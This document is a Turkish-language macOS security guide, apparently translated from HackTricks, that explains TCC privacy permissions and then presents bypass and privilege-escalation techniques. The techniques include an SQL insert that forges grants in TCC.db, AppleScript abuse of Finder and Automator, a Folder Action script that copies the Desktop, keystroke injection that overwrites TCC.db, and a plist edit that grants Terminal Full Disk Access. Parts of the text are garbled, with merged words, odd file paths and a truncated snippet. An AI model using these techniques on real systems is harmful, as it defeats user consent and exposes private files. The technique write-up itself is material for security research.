TCC (Şeffaflık, Onay ve Kontrol), uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel rolü, konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi gibi hassas özellikleri korumaktır. TCC, bu unsurlara uygulama erişimi vermeden önce açık kullanıcı onayı gerektirerek, gizliliği ve kullanıcıların verileri üzerindeki kontrolünü artırır.
Kullanıcılar, uygulamalar korunan özelliklere erişim talep ettiğinde TCC ile karşılaşır. Bu, kullanıcıların erişimi onaylama veya reddetme seçeneği sunduğu bir istem aracılığıyla görünür. Ayrıca, TCC, belirli dosyalara erişim vermek için bir uygulamaya dosyaları sürükleyip bırakma gibi doğrudan kullanıcı eylemlerini de destekler; bu sayede uygulamalar yalnızca açıkça izin verilenlere erişim sağlar.
An example of a TCC prompt
TCC, /System/Library/PrivateFrameworks/TCC.framework/Support/tccd konumundaki daemon tarafından yönetilir ve /System/Library/LaunchDaemons/com.apple.tccd.system.plist dosyasında yapılandırılır (mach servisi com.apple.tccd.system kaydedilir).
Her bir oturum açmış kullanıcı için /System/Library/LaunchAgents/com.apple.tccd.plist dosyasında tanımlanan bir kullanıcı modu tccd çalışmaktadır; bu, com.apple.tccd ve com.apple.usernotifications.delegate.com.apple.tccd mach servislerini kaydeder.
Burada tccd'nin sistem ve kullanıcı olarak çalıştığını görebilirsiniz:
Permissions are ebeveyn uygulamadan devralınır ve izinlerBundle ID ve Geliştirici ID temelinde izlenir.
TCC Veritabanları
İzinler/retler daha sonra bazı TCC veritabanlarında saklanır:
/Library/Application Support/com.apple.TCC/TCC.db içindeki sistem genel veritabanı.
Bu veritabanı SIP korumalıdır, bu nedenle yalnızca bir SIP bypass bunun içine yazabilir.
Kullanıcı TCC veritabanı $HOME/Library/Application Support/com.apple.TCC/TCC.db kullanıcıya özel tercihler için.
Bu veritabanı korumalıdır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler buna yazabilir (ancak SIP tarafından korunmaz).
Önceki veritabanları da okuma erişimi için TCC korumalıdır. Bu nedenle, TCC ayrıcalıklı bir süreçten gelmediği sürece normal kullanıcı TCC veritabanınızı okuyamazsınız.
Ancak, bu yüksek ayrıcalıklara sahip bir süreç (örneğin FDA veya kTCCServiceEndpointSecurityClient) kullanıcıların TCC veritabanına yazabileceğini unutmayın.
/var/db/locationd/clients.plist içindeki üçüncü TCC veritabanı, konum hizmetlerine erişmesine izin verilen istemcileri belirtir.
SIP korumalı dosya /Users/carlospolop/Downloads/REG.db (TCC ile okuma erişiminden de korunmuştur), tüm geçerli TCC veritabanlarınınkonumunu içerir.
SIP korumalı dosya /Users/carlospolop/Downloads/MDMOverrides.plist (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilen izinleri içerir.
SIP korumalı dosya /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesi.
Ancak, kullanıcılar kuralları silebilir veya sorgulayabilirtccutil komut satırı aracıyla.
Veritabanlarını sorgulama
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Her iki veritabanını kontrol ederek bir uygulamanın izin verdiği, yasakladığı veya sahip olmadığı izinleri kontrol edebilirsiniz (soracaktır).
service TCC izin dizesinin temsilidir
client izinlerle birlikteki bundle ID veya ikili dosya yolu'dur
client_type bunun bir Bundle Identifier(0) mı yoksa mutlak yol(1) mu olduğunu gösterir
Mutlak yol ise nasıl çalıştırılır
Sadece launctl load you_bin.plist yapın, bir plist ile:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
auth_value farklı değerler alabilir: denied(0), unknown(1), allowed(2) veya limited(3).
auth_reason aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
csreq alanı, ikili dosyanın nasıl doğrulanacağını ve TCC izinlerinin nasıl verileceğini belirtmek için vardır:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Ayrıca Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler bölümünde uygulamalara verilen izinleri kontrol edebilirsiniz.
Kullanıcılar şukuralları silebilir veya sorgulayabilirtccutil kullanarak.
TCC izinlerini sıfırlama
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC İmza Kontrolleri
TCC veritabanı, uygulamanın Bundle ID'sini saklar, ancak aynı zamanda izin kullanmak isteyen uygulamanın doğru olduğundan emin olmak için imza hakkında da bilgisaklar.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer uygulamalara verilen izinlere erişemeyeceklerdir.
Yetkiler ve TCC İzinleri
Uygulamalar sadece bazı kaynaklara erişim talep etmekle kalmaz, aynı zamanda ilgili yetkilere sahip olmaları da gerekir.
Örneğin, Telegram uygulaması kamera erişimi talep etmek için com.apple.security.device.camera yetkisine sahiptir. Bu yetkiye sahip olmayan bir uygulama, kameraya erişemez (ve kullanıcıdan izin istenmez).
Ancak, uygulamaların ~/Desktop, ~/Downloads ve ~/Documents gibi belirli kullanıcı klasörlerine erişmesi için herhangi bir özel yetkiye sahip olmaları gerekmez. Sistem, erişimi şeffaf bir şekilde yönetecek ve gerektiğinde kullanıcıyı bilgilendirecektir.
Apple'ın uygulamaları bildirim oluşturmaz. Yetki listelerinde önceden verilmiş haklar içerirler, bu da onların asla bir açılır pencere oluşturmayacağı ve TCC veritabanlarının hiçbirinde görünmeyeceği anlamına gelir. Örneğin:
Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
Resmi belgeler dışında, yetkilendirmeler hakkında ilginç bilgilerihttps://newosxbook.com/ent.jl adresinde bulmak da mümkündür.
Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hepsini tanımlayan kamuya açık bir liste yoktur, ancak bu bilinenlerin listesine göz atabilirsiniz.
Hassas korumasız yerler
$HOME (kendisi)
$HOME/.ssh, $HOME/.aws, vb.
/tmp
Kullanıcı Niyeti / com.apple.macl
Daha önce belirtildiği gibi, bir dosyaya bir uygulamanın erişimini sürükleyip bırakarak vermek mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın genişletilmişözelliği olarak saklanacaktır. Bu özellik, izin verilen uygulamanın UUID'sinisaklayacaktır:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
com.apple.macl niteliğinin Sandbox tarafından yönetildiği, tccd tarafından değil, ilginçtir.
Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UID'leri olacağı için, o uygulamaya erişim izni verilmeyeceğini unutmayın.
Genişletilmiş nitelik com.apple.macldiğer genişletilmiş nitelikler gibi temizlenemez çünkü SIP tarafından korunmaktadır. Ancak, bu yazıda açıklandığı gibi, dosyayı sıkıştırarak, silerek ve açarak devre dışı bırakmak mümkündür.
TCC Privesc & Bypasslar
TCC'ye Ekle
Eğer bir noktada bir TCC veritabanında yazma erişimi elde ederseniz, aşağıdakine benzer bir şey kullanarak bir giriş ekleyebilirsiniz (yorumları kaldırın):
TCC'ye Ekleme örneği
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC Yükleri
Eğer bazı TCC izinleri olan bir uygulamaya girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri ile ilgili aşağıdaki sayfayı kontrol edin:
Otomasyon izninin TCC adı: kTCCServiceAppleEvents
Bu özel TCC izni, TCC veritabanı içinde yönetilebilecek uygulamayı da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
Finder, her zaman FDA'ya sahip olan bir uygulamadır (UI'de görünmese bile), bu nedenle eğer üzerinde Otomasyon ayrıcalıklarınız varsa, bazı eylemleri gerçekleştirmesi için ayrıcalıklarını kötüye kullanabilirsiniz.
Bu durumda uygulamanızın com.apple.Finder üzerinde kTCCServiceAppleEvents iznine ihtiyacı olacaktır.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Bunu kendi kullanıcı TCC veritabanınızı yazmak için kötüye kullanabilirsiniz.
Bu izinle Finder'dan TCC kısıtlı klasörlere erişim istemek ve size dosyaları vermesini sağlamak mümkün olacak, ancak bildiğim kadarıyla Finder'ın keyfi kod çalıştırmasını sağlayamayacaksınız ve FDA erişimini tam olarak kötüye kullanamayacaksınız.
Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız.
Bu, Finder üzerinde Otomasyon ayrıcalıkları almak için TCC istemidir:
Automator uygulamasının TCC izni kTCCServiceAppleEvents olduğu için, herhangi bir uygulamayı kontrol edebilir, örneğin Finder. Dolayısıyla Automator'ı kontrol etme iznine sahip olduğunuzda, aşağıdaki gibi bir kodla Finder'ı da kontrol edebilirsiniz:
Automator içinde bir shell alın
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
**Script Editor uygulamasıyla** de aynı şey olur, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir scripti çalıştırmaya zorlayamazsınız.
### Otomasyon (SE) ile bazı TCC
**Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirilenler), bu nedenle aşağıdaki gibi bir script bu davranışı kötüye kullanmak için kullanılabilir:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*
System Events üzerinde otomasyon + Erişilebilirlik (kTCCServicePostEvent) süreçlere tuş vuruşları göndermeye olanak tanır. Bu şekilde, kullanıcıların TCC.db'sini değiştirmek veya rastgele bir uygulamaya FDA vermek için Finder'ı kötüye kullanabilirsiniz (bunun için şifre istenebilir).
Finder'ın kullanıcıların TCC.db'sini yazma örneği:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Eğer kTCCServiceEndpointSecurityClient'e sahipseniz, FDA'ya sahipsiniz. Son.
Sistem Politikası SysAdmin Dosyası için FDA
kTCCServiceSystemPolicySysAdminFiles bir kullanıcının NFSHomeDirectory özniteliğini değiştirmesine izin verir, bu da ev dizinini değiştirir ve dolayısıyla TCC'yi atlamasına olanak tanır.
Kullanıcı TCC DB'si için FDA
Kullanıcı TCC veritabanında yazma izinleri elde ederek FDA izinlerini kendinize veremezsiniz, yalnızca sistem veritabanında bulunan biri bunu verebilir.
Ama kendinize Finder için Otomasyon hakları verebilir ve FDA*'ya yükselmek için önceki tekniği kötüye kullanabilirsiniz.
FDA'dan TCC izinlerine
Tam Disk Erişimi TCC adı kTCCServiceSystemPolicyAllFiles'dir.
Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz. Bu, FDA izinlerinizi kaybetme durumunda kalıcı bir teknik olarak faydalı olabilir.
SIP Atlatma ile TCC Atlatma
Sistem TCC veritabanıSIP ile korunmaktadır, bu yüzden yalnızca belirtilen haklara sahip süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir SIP atlatması bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir:
TCC veritabanının korumasını kaldırabilir ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir:
TCC sistem veritabanı
REG.db
MDMOverrides.plist
Ancak, bu SIP atlatmasını TCC'yi atlatmak için kötüye kullanmanın başka bir seçeneği vardır, /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist dosyası, bir TCC istisnası gerektiren uygulamaların izin listesi. Bu nedenle, bir saldırgan bu dosyadan SIP korumasını kaldırabilir ve kendi uygulamasını ekleyebilirse, uygulama TCC'yi atlatabilecektir.
Örneğin terminal eklemek için:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>